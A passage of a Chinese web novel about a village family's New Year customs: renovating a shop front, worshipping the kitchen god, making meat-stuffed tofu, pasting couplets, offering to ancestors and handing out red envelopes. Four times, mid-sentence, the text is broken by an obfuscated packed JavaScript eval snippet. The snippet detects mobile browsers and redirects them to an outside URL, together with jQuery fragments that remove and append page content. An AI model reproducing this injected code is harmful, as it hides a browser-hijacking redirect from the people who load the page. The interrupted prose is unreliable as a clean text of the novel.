再来是门头,为何显得小气,是由于它有四扇门,其中两扇是固定住的,只有中间两扇能开合,供人进出。李兰香打算将四扇门全部拆除,另选木材做门,到时就将旁的固定的两扇门做小,中间空出来的部位直接用铺板,白日里可以卸下来,晚间闭店再装上去。这样一改,虽然每日拆卸麻烦,但是门头变大了,铺子里头的采光也能足一些。 宝珍在她画图纸的时候,忽然想起前世见过的肯爷爷麦老头“车速取”餐厅,心里头灵机一动,于是又假装着问她:“娘,你能不能在旁边两扇门那儿各开一个大些的花窗,不要做成用棍子撑起的支摘窗,可以倒过来,木板在下面,朝向外头,在门扇上用两条链条吊着它,这样木板放下后就像一个小桌子,到了夏天,我们还可以把冰饮子摆出来卖,平日里有食客不堂吃需要外带,不用进屋等,也能直接在外头点餐取餐了。” 李兰香听完愣住,没想到宝珍居然这般有想法,这个倒过来的支摘窗听着就新奇,用处也大,若是做出来,有人家瞧了,必定会吸引进店来吃饭。 她噗嗤一笑,拿手指头点一点趴在桌上的宝珍的额头,怪道:“我和你爹都木呆,怎么生出了个伶俐鬼来呀。” 又遗憾地说道:“哎哟,可惜你不是个小子,女儿家读不得书,要不然,我和你爹定要送你去上学堂,指不定你还能给我们挣个秀才回来呢。” 宝珍佯装调皮地朝她吐吐舌头,然后撅起嘴巴,作怪道:“若是我像二哥哥一样是个小子,我才不会学他,不读书去放牛,我要是挣,肯定也不止挣个秀才,或许我还能考上状元嘞。” “哎哟哟~”这话一出,直把李兰香笑倒,边笑边轻拍她:“说你胖,你还喘上了。等啥时候皇帝老爷能让女子读书了,我就叫你去考状元,给我挣个诰命回来,让我也尝尝做官家人的滋味儿。” “好哈哈哈哈……”两母女笑做一堆。 商量好了铺子要如何改造修葺,罗水林便提前去订竹材和木材,不仅要做墙边和门窗,还要打新的桌椅。另外也要请好师傅,到时候给他们砌灶房与厅堂隔断的墙,以及砌做饭的炉灶。 忙忙碌碌间,不知不觉,小年便到了。 小年是腊月二十四,也被称为“灶神节”与“祭灶节”。每年一到这个日子,就意味着除夕即将到来,年马上就要开启了。 早间吃了饭,李兰香便给宝珍和宝珠换上罩衣,递给她们一把小笤帚,让她们去各个屋子里打扫,把角落的尘灰与蜘蛛网除去。 她和罗水林则是戴上草帽,拿长竹竿绑住笤帚,伸长手去扫屋梁上与檐下的积灰和蛛网。 这便是扫尘,年底了,老百姓们都要进行一次彻底的打扫,为过新年做准备,同时还能去脏除灾。 扫了灰身上脏,下午的时候一家人都洗了头洗了澡,等下一次再洗,就要到年三十那日了。 坐在院子里晒太阳晾头发的时候,李兰香把剪刀拿出来,给宝珍和宝珠的脖子下围上一块布,要给她们剪头发。 老话讲:有钱没钱,剃头过年。人们年前通常都要修剪一次头发,用新的面貌来庆贺新的一年,且正月里剪头发犯忌讳,所以都会选小年这一日来做。 小孩子的头发细软,长的不长,李兰香便只给姐妹俩略修了修前边的刘海儿,不让它挡眼睛,然后把黄黄的发梢剪了一小段去就完事。 给她们剪了头发后,李兰香又用篦子给她们梳头。乡下的娃娃很多都会长头虱,宝珍和宝珠却没得,只因她做娘的爱干净,隔几日就用油茶籽茶枯给两个娃娃洗头,床上的铺盖枕头也是经常更换晒洗的,这才避免了生虱子的烦恼。 另外在小年这一日,家家户户都要祭祀灶君司命,因他是灶神,掌管着人间的灶火,能保一家的安泰,同时监理各家的善恶。 民间有言:小年祭灶,灶王夸好,上书玉帝,赐你运道。传说灶君司命的左右随侍两神,他们一人手捧着“善罐”,一人手捧着“恶罐”,随时将一家人的善恶行径保存记录于罐中。过完这日,腊月二十五他们便要上天庭,去向玉皇大帝禀报这户人家的所作所为,所以在这一日,老百姓们都要给灶神献上香火,奉上贡品,以期望他讲好话,来年玉帝可以赐下好运。 祭灶需得男子来祭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13151564|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,因此吃过晚饭后,罗水林收拾妥当开始祭灶。 先用果盘装了自家做的米花糖和买来的糖莲子与麦芽饴糖供奉在灶神像前,宝珠见了嚷嚷道:“灶神公公这么大了还吃糖么?我见他好像与阿公差不多老,阿公都不吃糖嘞,怎他还吃?” 宝珍听了,在后头笑着捂住她的嘴,李兰香则教训她:“我要拿草纸来揩你嘴巴,没遮没拦的,对灶神公公不敬,等下叫你爹多拜拜,好让神仙原谅你。” 灶前烟道处有砌的小香案,罗水林拿出五根香,三张黄裱纸,一对红蜡烛。先把旧的灶神像揭下来,然后张贴上新的,这便是所谓的换新衣,然后点燃香与蜡,将旧的灶神像与黄裱纸一同焚化,最后向灶神叩首祷祝,祭灶便完成了。 祭过的米花糖拿出来自家吃,罗水林摸摸宝珠的头,诱导她:“乖女,若是姐姐宝珍犯了错,你要不要告诉我与你娘呀?” 宝珠吃着米花糖,闻言,在爹娘与姐姐身前巡视一圈,然后坚定地摇头:“不告诉!” ……罗水林愣住,然后失笑道:“你怎么能不告诉爹和娘呢,不管是你还是宝珍,若是在外犯了错,都要跟我们讲,不许瞒着!讲了我们才能帮你们解决,不讲的话,你们小人家家怎么处理?” 好吧,宝珠思考一下,立马做出选择:“讲!” 这便对了。罗水林又继续诱哄她:“那要是姐姐宝珍犯了错,拿出你最爱吃的糖糕,叫你不要跟我们讲,你还讲不讲呢?” 宝珠糊涂了,她想听爹爹的话,讲!又想吃糖糕,不讲!于是小心翼翼地回答道:“那我可不可以先吃了糖糕,然后再跟你们讲啊?” “哈哈哈哈……”其余三个人被她说的话逗得大笑,罗水林笑过一阵,然后把她揽过来,告诉她:“当然还是要讲,咱们四个是一家人,就算姐姐给了你糖糕,你也要讲给爹爹和娘知道,晓得不?” 宝珠点点头,意思是她知晓了。罗水林又说道:“你不是奇怪我们为什么给灶神公公吃糖?是因为灶神公公跟我们不是一家的,若是我们家犯了错,他告到玉皇大帝那里去可不得了,所以才要给他吃糖,黏住他的嘴巴,叫他告不了状。不过,若是一家的,那就不能分你我,做了错事,咱们就一起承担,安危与共,这样才能算是真正的家人。” 72. 豆腐酿肉 过了小年便是年。 孙婆子教三个娃娃,从小年起便要开始说吉利话,见人需讲福,遇事要积善,不可口无遮拦,行事无状。 从这一日起,年味越来越浓,家里头需要操持的事情也多起来。 李兰香早起便煮好浆糊,用面粉与水一同稀释了放在锅中熬煮,中途需不停搅拌以避免糊锅底,等到它变得粘稠,鼓起泡泡来才算做好。 另一边的罗水林在裁油纸。二十五,糊窗户。一年到头,窗子上的窗户纸都没有更换,经过长时间的风吹日晒,原本厚韧的油纸变得轻薄,颜色晒脱成了白色,用手指戳一戳就容易破,是时候该换新了。 宝珍宝珠守在锅边看李兰香煮浆糊,煮好了就端去给罗水林拿来贴窗户。 浆糊熬好,散发出好闻的麦子香,宝珠拿瓷勺舀浆糊往油纸上涂抹的时候,不由得舔了一口,然后嫌弃道:“没味道。” “没加糖,自然便没味道。”罗水林边贴窗户边笑着说:“你细时吃米糊,若是不添些糖水进去,你就不愿吃,把我和你娘急得不行。想起你半岁的时候,你娘渐渐没了奶,总是喂不饱你,后头还是你阿嬷每日给现磨了米糊,然后一勺勺喂给你吃的,你还记得不?” 半岁婴儿哪会有记忆,宝珠诚实地摇了摇头。不过她倒还记得一些事,由于早产的缘故,她身子较弱,阿嬷赶集时就总称几两肉来,给她煮肉粥吃补身体,那个时候家里头只有姐姐与她能吃到肉粥,连二哥哥宝银都没有呢。 “不记得也不妨事,你只要记住,以后和姐姐,好好孝顺你娘与你阿嬷,知道不?” 两姐妹用力点头,大声应承:“知道!要孝顺娘与阿嬷,还有爹爹和阿公。” 听到女儿们主动提及自己,罗水林笑得脸都要烂了,要不是手上还沾着浆糊容易弄脏衣服,定要抱着她们在院子里转上几个圈高兴高兴。 上午糊完了窗户,午时李兰香给做了豆腐。 照传统,年二十五是要磨豆腐的,豆腐通“头福”,磨好的豆腐预备着过年吃,祈祷新年富贵。 只是豆腐做起来麻烦,乡人们但凡有点子钱能买,何必非要亲手做呢,所以家里的豆腐便是从天养家薛娘子那儿现买来的。 另外南边儿不似北边,北边冷,买来的豆腐放外头就能冰冻起来,可以存放许久,南边虽也冷,但可比不上北地,豆腐存得几日就败坏了,所以今日也只是应节买来吃个节庆,到过年了,还是得再去现买的。 前段时候老宅杀了猪,孙婆子叫他们拿了十来斤鲜肉回来,如今还剩下些许,李兰香就打算今日和豆腐一起做了,吃完它。 先将鲜肉剁成泥,一半留待备用,另一半用葱姜水、酱油、香油、盐巴、生粉和葱花抓拌均匀,腌制好放置片刻。 接着把买来的老豆腐切成方块,在中间掏一个小洞,填腌制好的肉糜进去,等油锅烧热,把装填好肉馅的豆腐全都放下锅去煎。 待豆腐的两面煎黄,变得微焦,即可盛出备用。然后另烧油爆香葱姜蒜,调了料汁煮开,再放入煎好的豆腐,慢慢焖煮至汁水收干,肉酿豆腐便做好了。 剩下的鲜肉泥,李兰香打算做一个鸡蛋肉饼汤。肉馅只加少许盐与酱油调味,然后不停搅打上劲,家里头没有适合的瓦罐,就找一个底略深的盘子,把肉馅压到盘子底部呈饼状,再敲四个鸡蛋下去,放进锅中隔水蒸。 等肉馅与鸡蛋蒸上一会儿定了型,李兰香就倒开水进去,继续蒸上一刻钟,好吃好做的鸡蛋肉饼汤就可以出锅了。 冬日里可以吃到的菜蔬不多,耐寒的波稜菜就是其中一种,等宝珍宝珠把一篮子菜洗好,李兰香放进锅里加干辣椒与大蒜炒一炒,波稜菜就缩了水,一大篮子菜只得一盘而已。 宝珍宝珠一上桌,看到菜式就开心。过年前后的吃食是最丰盛的,所以娃娃们最喜欢一年里的腊月与元月,可以放肆的过个嘴瘾。 盘子里的肉饼鸡蛋被李兰香分做四份舀进碗里,家里人人都有。 宝珍饮一口鸡蛋肉饼的汤,里面调味虽少,但不晓得为何,味道就是鲜美无比,比宝珍吃过的许多汤都还要甘甜。肉饼和鸡蛋也嫩,没有一丁点肉腥、蛋腥味,等到将它们吃完,肚子也饱了一半。 肉酿豆腐和波稜菜需配白米饭吃,宝珍便只盛了小半碗,她喜欢米归米,菜归菜的吃法,最好不要让汤汁掺到饭里头,这样才能更好的品尝到米与菜的本味。宝珠就不同了,她喜欢拌饭,把豆腐酿肉碾的稀碎,再浇汤汁上去,夹多多的波稜菜拌在一块儿,整碗饭都被美味的豆腐和肉沫裹住,然后操大勺子舀着吃,嘴巴都被塞得鼓鼓的,她觉着这样才满足。 宝珍见着她豪迈的吃相,不由得摇了摇头。不过这种吃法是大人们最喜见到的,娃娃吃饭香,身体才能长得壮嘛。 吃到一半的时候,凤仙带着康哥进了门。 半个月前大癞痢头叫她带走了康哥,承诺过了年二十四就去接他,不过凤仙心里存了事,就自己将康哥送回来了。 “诶,凤仙,你咋自己过来了?”李兰香见到她,赶忙招呼她坐,又问她有没有吃饭,预备给他俩拿碗筷过来。 “莫忙莫忙,我和康哥吃了饭的,在车上吃了烙饼。”凤仙赶紧劝阻她,然后把背上的包袱递过来,“喏,送你的年货。” 李兰香把包袱解开,里头装了一小坛子散酒和一包桃酥,价格不算贵,李兰香便放心收下了,又拉她去坐。 “你吃饭去,不用管我。”凤仙自己找了把椅子坐,旁边的康哥亦步亦趋,也端了凳子过来,坐在她脚边。 宝珍一边吃饭一边看康哥,这小孩跟他娘在城里住了半个月,显见的身子胖了一些,不像之前那种瘦麻杆样,个头也窜了窜,身上的衣服十分齐整干净,面貌好了不止一点。 李兰香问他们:“你这趟是特意送康哥回来么,不是说大癞痢头去接吗?” “算了吧,要等他来接,可能他娘也跟来,到时候去我做工的铺子里闹就不好了。”凤仙嫌弃他们,还有一点就是,若是她把给李兰香的年货让大癞痢头带回来,那可不保证真的能到李兰香手里,指不定会被赖老娘藏起来。 凤仙回村还没去赖家,她也不打算去,等下就叫康哥自个儿回便行了,省得见面吵嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13175211|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “这倒说的是,你们铺子年节里最忙,若是她去闹,叫客人见到就不好了。”李兰香同情地应和,毕竟她可是见过赖老娘撒泼的。 “还有一桩事,你帮我拿拿主意。”凤仙没啥朋友,现在唯一还能说得上话的便是李兰香了,她家里人也都好,家风清正,人拎得清。想来,问她应当没有错。 “前几日我哥嫂来城里找了我,说叫我初二回娘家过年。”这里的习俗是过了年二十四,外嫁女便不能回娘家,否则会让娘家触霉头,要等到过了初一才能回。 “但是我不想回去,一来我怕我爹娘催我再嫁,二来过年铺子里离不得人,除了除夕那日,现下每日里客都多,且我那东家承诺我,年节到元宵,每日工钱都翻倍嘞。你说,你觉着我要不要回娘家呢?” 李兰香听了,只觉得为难。要说凤仙娘家不疼她吧,却也愿意在她和离后养她,特地让她回来过年;但要说疼吧,又非要逼她嫁人,而且年前与最重要的除夕都不愿她在家,怕有妨害。这种矛盾的爱,倒真让人不晓得如何处置。 “是我我就不回去。”宝珍冷不丁冒出句话。现下她越长越大,最近说的一些话总让李兰香惊讶,想着娃娃看事情的角度可能与大人不同,李兰香便鼓励她,问道:“为啥不回嘞?那若是换做我和你爹,让你回来过年,你也不回么?” “凤仙姨的爹爹和娘又不似你们。”宝珍认真说道:“我晓得那个不让外嫁女回家的习俗嘞,阿嬷跟我讲过,我还问阿嬷,要是水花姑姑与姑父吵了嘴,你会不会这时候去接她?阿嬷说,那肯定要接的。我想着,爹爹和娘一定是站我这边,而且娘家又不会走,什么时候回不一样么,何况凤仙姨说留铺子里可以多挣些钱,那我觉得还不如多挣钱呢。” “哎哟!宝珍说的真对!”凤仙一拍掌,她也正是这想法,只是缺人认同而已。 她早就晓得,自家爹娘虽疼爱她,却也无法脱离世俗想法。她和离了,若是有男的愿意要,条件好一些,爹娘便紧催她再嫁,也不顾她愿不愿意,开不开心;过年回个娘家,还要顾忌是不是会触霉头,得另选时间才能回,若是回了,村里人定要多嘴,住久了也惹得爹娘哥嫂烦心。 这样看来,还不如自己留在城里过,既能挣钱又落得清净,而且回娘家探亲,年后啥时候都可以,到时礼备重些,想来爹娘也不好说她。 李兰香见她这样,想来是心里早已拿定了主意,且自己也认同女儿的说法,便笑着应和道:“那你便好好与你哥嫂说清里头的利害关系,就讲自己想趁年轻多攒钱,另外年后多备些礼给你爹娘,他们疼你,自然不会怪你的。” “诶,行嘞!”了却一桩心事,凤仙便准备回去了,今日她只跟东家请了半日假,现下也该走了。 康哥恋恋不舍,抱着她的腰哭了一小会儿才愿放手。凤仙承诺他,等明年她定会再找机会带他进城住,现在大癞痢头开了头,之后想来会容易些,只求他后面拎得清,别再那么窝囊了。 李兰香一家人瞧着她走,宝珍默默在心里给她点了个赞,以凤仙姨的心性,想来以后一定会越过越好的。 73. 除夕 今岁今宵尽,明年明日催①。 转眼便到除夕。 早晨起了身,一家人吃过饭后就要开始贴春联。春联是上上次进城看铺子时买来的,院子门需一副,大门需一副,后门也需一副。 另还买了许多漂亮的门笺,门笺又被称为挂钱、门吊子,除了三个正门的门头要张贴五张上去,家里头每间房的门头上也都要贴一张,既吉利又显得好看。 李兰香照样煮了浆糊,宝珍与宝珠给涂抹在春联的背面,张贴的事就全权交由罗水林负责。 买来的三幅春联一大两小,全都红通通的,正面用墨汁写了诗,纸张不知道是用得什么染的色,手一摸上去便留下印记。宝珠抹着浆糊,觉得脸上痒痒,抬手一揩,小脸蛋也上了色,一抹红晕在颊上,更增添一份可爱。 李兰香走过来瞧见,坏心思一起,便拿指头沾了色,给两个女儿的额间点上红点,开个天眼,正好祈求她们以后心明眼亮,不被坏心人骗。 对联上好了浆糊,罗水林就搬了梯子过来。家里大门的门楣高,要把对联从上贴到下不容易,只能借助工具。 李兰香就在下面扶住梯子,叫宝珍站远处瞧,看她爹贴的对联歪不歪,正没正。 等大门的对联与横批贴完了,罗水林下梯子一瞧,哎哟,还是不算正,不过已张贴了上去,有浆糊不好再扯下来,容易破,那便就这样吧。 他点一点宝珍的脑袋瓜子,笑她:“看来你娘给你们点的开智红点不起作用呐,是不是时间不够长,效用还没挥发出来。” 宝珍轻哼一声挪开他的手,不愿理他。不过罗水林正有兴致,于是把她俩抱过来,指着对联叫她们瞧,读道:“喜居宝地千年旺,福照家门万事兴。横批:喜迎新春。” “爹爹好棒呀,认识好多字。”宝珠高兴地夸赞,给他捧场。罗水林笑得牙不见眼,还自夸自擂道:“那是,你爹爹可聪明了!” 宝珍扭头看这傻呵呵的两父女,实在是很想告诉他们:爹,你的左右对联贴对了,但你指反了!对联是右上联左下联,应是从右往左读的。 不过想一想,自家爹爹好像没读过多久学堂,不大认识字也是应当的。想来他不识字如何分辨张贴对联的左右,可能是小贩告知了他内容,并让他记住了字样而已。 贴好三个正门的对联和各个门头的挂钱,最后还需在院子门上贴钟馗像,用以镇宅辟邪,庇佑家宅平安,无灾无难。 一个上午就这样忙忙碌碌的过去,下午的时候,全家人都要去上坟请祖上大供。 除夕这日,不止是地上的亲人要过年,地下的祖宗也是要过年的,甚至比清明节的拜祭还隆重。 李兰香上午就宰了鸡鸭,剖了鱼又洗了菜,只等上坟回来后做呢。另外还煮了一大块白肉,准备带去上供给祖宗。 昨日里大哥宝金也回了家,听他说,姑父钱荣昌的绣庄要等到元宵后才开门呢。因为绣庄不同于酒楼饭馆之类,过年能接待宾客挣笔大钱,要做新年衣裳的人家,一般年前就早早做好了,所以这段时间根本不会有客上门,铺子里的掌柜、绣女和伙计,全都领了节礼回家去,只等元宵后再上工。 准备完毕,孙婆子与罗老头,宝金一家和宝珍一家,全都浩浩荡荡的上山去,开始祭祖。 到了山上找到祖宗的坟头,依旧是先除了草,培上新土,再插黄裱纸上去。带来的贡品除了白肉,还有整只煮好的鸡与炸好的鱼,一盘子柿饼,一碟子桃酥,凑作五样,然后燃起香烛烧纸钱,打过鞭炮,最后浇了酒,与祖宗磕过头,请祖上供便完成了。 带过来拜祭的贡品全都原样带回去,拿来晚上做菜吃。 回到山下,已经是申时②,冬日里天黑得早,酉时③刚过就乌漆嘛黑了,于是大人们纷纷忙碌起来,聚到老宅准备晚上一年一次最重要的团圆饭,小孩子们自个儿顾自个儿。 宝金宝银特地跑来婶婶家,给两个妹妹烧好洗澡水,还放了柚子叶进去煮。年三十这一日人人都要沐浴,意味着辞旧迎新,洗掉过去一年的晦气和不顺,明日初一好干干净净接福。 经过这一年,两姐妹大了许多,宝珍本就自己会洗澡,奈何李兰香一直把她当做普通的小娃娃,给她们洗头洗澡从来都不假人手。今日是她事忙,才拜托了两个哥哥过来,趁下午还有点日头,赶紧让她们洗个澡。 宝珍礼貌地拒绝了大哥哥的好意,等他们把澡桶搬出来注好水,又礼貌地请哥俩出去院子。 “你才几岁啊,你还知羞嘞。”宝金笑得不行,奈何宝珍死活不愿意让帮忙,只好坐在院子外守着,不时喊一声,生怕这两姊妹等下溺了水。 两个人小年洗的澡,现在身上还不算脏,宝珍快手将自己打理好,又去搓宝珠的头,给她全身洗个遍。姐妹俩在水里头闹将一通,不过两刻钟便洗好了,等穿了衣服宝金进来倒水,要不是看她们头发是湿的,宝金甚至怀疑两个妹妹只在桶里玩了水而已。 不过再一想,自家弟弟宝银洗起澡来,比她们只快不慢,那这也算正常,就是不晓得洗干净没有。 洗过澡,打水将换下的衣服浸上,四兄妹便锁好门,一同去老宅等吃饭。 除夕的年夜饭是最丰盛的,有菌子鸡汤、干笋焖鸭、红烧鱼、粉蒸肉、红糖糯米饭、煮饺子……足足十二道菜,每一道都色香味俱全,诱得人口水都要流下来。 罗老头珍藏的松花酒也开了封,大人们一人来上一些,小孩子则是吃的米酒。等都上了桌,大家举起杯来一人说句吉祥话,饮过酒后,便可以动筷子吃饭了。 宝珍宝珠的吉祥话是今早罗水林教好的,生怕她俩忘了词,还让背了一遍。宝珍双手端着碗,认真祝贺:“阿公阿嬷长命百岁,大伯与大伯娘身子康健,二位哥哥早日学成本领,挣大钱。” 说完话,宝珍拿手肘一顾涌旁边眼巴巴盯着糯米饭的宝珠,叫她开始讲话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13178778|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>爹爹早上教的话,宝珠晚间哪还记得住呀,何况她现在心神都在饭菜上,完全给忘了词,端着碗想了半晌,才憋出一句:“嗯……挣大钱。” 一副呆兮兮的样子,直把家里人笑了个半死。 吃过饭洗了澡要熬年守岁。除了自家要守,每年村里还要轮流出四个男丁去到祠堂里守一夜,以免点的香烛燃尽,无人知晓。今年就轮到了宝金和隔壁几个邻居家的男娃。 宝银年纪小,还没试过在祠堂里过夜,既害怕又好奇,便问罗水林:“祠堂牌位那么多,感觉阴森森的,你们守的时候不怕么?” “哎哟,牛蛋!”孙婆子听到就想骂他,但是过年不兴骂人,只能好好跟他讲:“过年不许说不吉利的话!再说了,祠堂里都是咱们的祖宗,那是保佑咱们的,有什么好怕的。” 好吧,宝银吐吐舌头,表示自己知错了。罗水林告诉他:“哪里会怕,好玩还来不及呢。祠堂中间会燃火坑,一烧就是一整夜,照得到处亮堂堂的,一点都不冷。” “我年轻的时候最希望轮到自个儿,这样晚上可以跟人一起打叶子牌,抽陀螺,另外还会带各种荤肉去,直接放在火上烤,火堆里再埋上几个番薯、鸡蛋、芋头,或者是一把栗子,吃起来不晓得有多美、多快意呢。” 他在这里说的开心,忽然背后李兰香阴阳他一句,“这般好?要不然今晚你替宝金去守岁。” ……这下罗水林和宝银两叔侄全都老实了,再不敢开腔。 虽说是守岁,但也不必全家人一同陪着熬,大家伙儿围着火笼子吃瓜子糖果闲话,孙婆子跟罗老头率先顶不住,亥正④便先去睡了。 再等得到子时,宝珍跟宝珠眼皮子已经沉下去,歪靠在爹娘身上打瞌睡了。 罗水林见罢,于是跟哥嫂打好招呼,与李兰香一人搂抱一个,给披上厚衣服挡风,顶着夜色带娃娃回了自己家。 可能今日是真的累到了,把姐妹俩放到床上时,硬是一点都没醒,脸睡得红扑扑的,滚进被子里就睡沉了。 李兰香给她们掖好被子,把早就准备好的红纸包拿出来,塞到枕头下面,再在宝珍与宝珠的小脸上各亲一道,便同样睡觉去,只留罗水林一个人在堂屋守着。 桌上和神龛上的灯花不时爆几下,罗水林默默取剪子剪掉长长的烛芯,火便烧的更旺了。 家里的院子门和大门全都敞开着,要等到子正⑤打过封门爆竹后才能关上。 罗水林一人坐在桌前,默默喝着茶,剥炒花生吃。子正一到,村里各家纷纷燃起爆竹来,罗水林也将缠成盘的长爆竹搬出去,抻长了放到院子里,等一点燃,噼里啪啦的轰鸣声渐次响起来,热闹的不得了。 等到爆竹全部燃尽,他便将院门关上,继续回去守岁,屋子里的烛火要一直烧到天亮才能熄,燃灯照岁便是如此了。 一宵犹几许,两岁欲平分⑥。 子正平分新旧,现下已是新的一年了。 74. 元日 爆竹声中一岁除,春风送暖入屠苏①。 卯正,天都未亮,罗水林就将爆竹搬出去,预备等鸡叫了,再打开门炮仗。 昨晚他守了一夜的岁,熬至现在,早就困顿不堪了。出到院子里,清晨的凉风吹散了些疲惫,再望望微微泛白的天幕,只有东边的启明星还明亮,预示着太阳将要升起。 不过多时,村子里的公鸡“咯咯哒”啼叫起来,他便将炮仗点燃,其他人家同样渐次放起炮,整个村庄响声连天,碎红满地。 这个时候可以将院门打开,罗水林开门后便朝外大喊道:“开门纳福,大吉大利!”喊上三遍,这才算完成仪式。 李兰香听到爆竹声起了床,赶紧叫罗水林先回房去趴一趴、歇一歇,等到做了早饭吃后,后边还有得忙呢。 大年初一早上要吃斋。李兰香就拿发好的绿豆芽跟买来的油豆腐同炒了,又另做了一个香油拌萝卜丝,蒸了米饭,再去叫宝珍与宝珠起来。 睡在西屋的两姐妹早就被打炮仗的声音吵醒,只是冬日里天冷,被子里头暖和,所以还一直赖在床上说小话。 宝珍按照往年的惯例,在枕头底下摸了摸,果然被她摸出一个红纸包来。宝珠见了,同样寻了寻,只是她睡相太差,枕头移了位,压岁钱早就不晓得被她睡去床上哪个角落里了。 李兰香拿着烘热的衣服踏进西屋时,只见到两姊妹撅着屁股钻在被子里不晓得在做甚,于是假装清清喉咙,发出声音提示她俩,人来了。 “恭贺新禧,祝娘亲万事如意!”宝珍闻声率先爬出来,散着一头乱发朝她甜甜笑着,拱手与她贺新岁。 宝珠找到了自己的压岁钱,也从被子里钻出来,然后学着姐姐拱手叫道:“恭贺新禧,祝娘亲事事顺意。”这是刚才宝珍教导她的,现学现用。 新年祝语要小辈先祝贺长辈,李兰香听完两个女儿的喜庆话,赶忙笑呵呵地接过,祝愿道:“恭贺新禧!娘亲也祝咱们家宝珍、宝珠,岁岁平安,身体健健康康。” 流程一过,李兰香便恢复原状,不解地问她们:“你俩这是干啥呢?在床上玩也不晓得穿上衣服,等下着凉咋办。” “嘿嘿嘿……”宝珠一边举着手让李兰香给她套衣裳,一边把手里的红纸包拿出来炫耀:“看,压岁钱!” “嗯,压岁钱。”李兰香自己放的还能不晓得么。“等下吃了饭去老宅拜年,见到阿公和阿嬷,知道怎么叫么?” “知道呀,姐姐刚刚教我了。”宝珠穿完衣裳,又趴在床边把红纸包里的铜板倒出来,一个一个地数。 李兰香瞧瞧宝珍,她正在学着给自己梳头发,见她的红头绳总是绑不上,于是坐过去把她揽在怀里,接过梳子,重新给她梳了头绑好头绳,又在床头的小盒子里找到宝金送两个妹妹的头花,选出两朵红色的来,插进扎的揪揪里,一边各一朵。 见到她手上没拿红纸包,于是问她:“爹娘也给你枕头底下放了压岁钱,晓得不?” 宝珍点点头,然后转过身抱住李兰香的腰身,撒娇道:“我数过了,里面有十八个铜板,已经被我放起来啦,谢谢娘。” “那就好。”李兰香亲昵地掐掐她的小脸蛋子嘱咐道:“自己放好就行,别弄丢了啊。”对于宝珍,她还是非常信任的。 又转头问宝珠:“数好了没?数好了先放娘这里,娘给你存着。” 两个娃娃的压岁钱都是一样的数目,宝珠点着手指头数了好几遍才数清,听到李兰香要把她的钱拿走,就撅着嘴不满道:“娘亲偏心,姐姐都不用把压岁钱还给你,我也不想还。” 李兰香被噎住,然后无语道:“我那是偏心吗,我是怕你搞丢了!而且放娘这儿不好么,你要买东西的时候再来要,我又不是不给你。” 说完又用激将法激她:“那你自己收着吧,等把钱弄丢了,我可不会再给喽。” 宝珠果然受激,思考一阵,乖乖将钱上交了,还不放心地叮嘱:“那娘亲帮我收好,要是你弄丢了,记得重新赔给我。” ……宝珠这小家伙现在越来越鬼精了,说起话来有时候笑死人,有时候又能把人气的半死。 一家四口吃完新年第一顿饭,李兰香就把果盘装点好,放了自己炒的花生、瓜子和米花糖、糖莲子等,又升起炉子煮开水,把去岁春日时制的茶叶拿出来泡,准备等客上门拜年。 宝珍和宝珠则随着父亲罗水林先去老宅,给孙婆子和罗老头拜年。 来到老宅,果然两个老人已经在堂屋坐着等候,见到宝珍宝珠便一脸笑意。 两姐妹在路上得了罗水林的叮嘱,此时全都跪下去磕头,然后向他们祝愿道:“恭贺新禧!孙女们祝阿公、阿嬷,身体康健、长命百岁!” 孙婆子和罗老头坐在上边受了磕头,一等两个娃娃讲完话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13220422|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就连忙把她们从地上拉起来,然后高兴地道:“好好好!阿公阿嬷也祝我的乖孙女们身体好、运道佳,日日都能吃上糖和肉。” 说完了,孙婆子从身上掏出两个红纸包来,给宝珍宝珠一人塞一个,边说着:“拿了压岁钱,有钱又有福。” 两姐妹接住,开开心心地道了谢,然后继续在老宅坐一会儿,吃点吃食,便随着罗老头和大伯罗水林与自已爹,以及两个堂哥宝金宝银,一起在村子里拜年。 大年初一这天,拜年是非常重要的,乡人们除了要给自己的亲人拜年,还要给大家族里的族人,亦或者邻居和友人拜年。 